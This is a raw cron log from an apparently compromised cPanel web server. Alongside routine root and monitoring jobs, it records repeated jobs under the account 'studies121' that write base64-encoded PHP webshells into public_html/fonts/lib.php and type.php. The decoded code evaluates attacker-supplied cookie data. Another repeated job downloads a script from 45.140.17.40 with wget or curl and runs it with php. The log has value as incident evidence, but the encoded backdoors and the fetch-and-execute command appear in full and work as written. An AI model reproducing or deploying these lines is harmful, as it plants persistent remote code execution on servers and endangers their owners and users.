Aug 30 19:57:01 ip-184-168-122-23 CROND[2058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:57:01 ip-184-168-122-23 CROND[2056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:57:01 ip-184-168-122-23 CROND[2059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:58:01 ip-184-168-122-23 CROND[2133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:58:01 ip-184-168-122-23 CROND[2135]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:58:01 ip-184-168-122-23 CROND[2136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:58:01 ip-184-168-122-23 CROND[2137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:58:01 ip-184-168-122-23 CROND[2138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:59:01 ip-184-168-122-23 CROND[2227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:59:01 ip-184-168-122-23 CROND[2229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:59:01 ip-184-168-122-23 CROND[2230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:59:01 ip-184-168-122-23 CROND[2231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:00:01 ip-184-168-122-23 CROND[2350]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 30 20:00:01 ip-184-168-122-23 CROND[2352]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:00:01 ip-184-168-122-23 CROND[2353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:00:01 ip-184-168-122-23 CROND[2357]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:00:01 ip-184-168-122-23 CROND[2359]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:00:01 ip-184-168-122-23 CROND[2356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:00:01 ip-184-168-122-23 CROND[2358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:00:01 ip-184-168-122-23 CROND[2354]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 20:00:01 ip-184-168-122-23 CROND[2355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:01:01 ip-184-168-122-23 CROND[2518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:01:01 ip-184-168-122-23 CROND[2519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:01:01 ip-184-168-122-23 CROND[2521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:01:02 ip-184-168-122-23 CROND[2525]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 20:01:02 ip-184-168-122-23 CROND[2528]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 20:01:02 ip-184-168-122-23 CROND[2526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2528]: starting 0anacron
Aug 30 20:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2541]: finished 0anacron
Aug 30 20:02:01 ip-184-168-122-23 CROND[2633]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:02:01 ip-184-168-122-23 CROND[2635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:02:01 ip-184-168-122-23 CROND[2637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:02:01 ip-184-168-122-23 CROND[2638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:02:01 ip-184-168-122-23 CROND[2636]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:03:01 ip-184-168-122-23 CROND[2726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:03:01 ip-184-168-122-23 CROND[2727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:03:01 ip-184-168-122-23 CROND[2728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:03:01 ip-184-168-122-23 CROND[2729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:04:01 ip-184-168-122-23 CROND[2825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:04:01 ip-184-168-122-23 CROND[2829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:04:01 ip-184-168-122-23 CROND[2827]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:04:01 ip-184-168-122-23 CROND[2828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:04:01 ip-184-168-122-23 CROND[2830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:05:01 ip-184-168-122-23 CROND[2913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:05:01 ip-184-168-122-23 CROND[2915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:05:01 ip-184-168-122-23 CROND[2916]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 20:05:01 ip-184-168-122-23 CROND[2917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:05:01 ip-184-168-122-23 CROND[2918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:05:01 ip-184-168-122-23 CROND[2920]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:05:01 ip-184-168-122-23 CROND[2919]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:06:01 ip-184-168-122-23 CROND[3044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:06:01 ip-184-168-122-23 CROND[3046]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:06:01 ip-184-168-122-23 CROND[3049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:06:01 ip-184-168-122-23 CROND[3047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:06:01 ip-184-168-122-23 CROND[3051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:07:01 ip-184-168-122-23 CROND[3181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:07:01 ip-184-168-122-23 CROND[3183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:07:01 ip-184-168-122-23 CROND[3184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:07:01 ip-184-168-122-23 CROND[3185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:08:01 ip-184-168-122-23 CROND[3271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:08:01 ip-184-168-122-23 CROND[3275]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:08:01 ip-184-168-122-23 CROND[3274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:08:01 ip-184-168-122-23 CROND[3276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:08:01 ip-184-168-122-23 CROND[3277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:09:01 ip-184-168-122-23 CROND[3364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:09:01 ip-184-168-122-23 CROND[3365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:09:01 ip-184-168-122-23 CROND[3367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
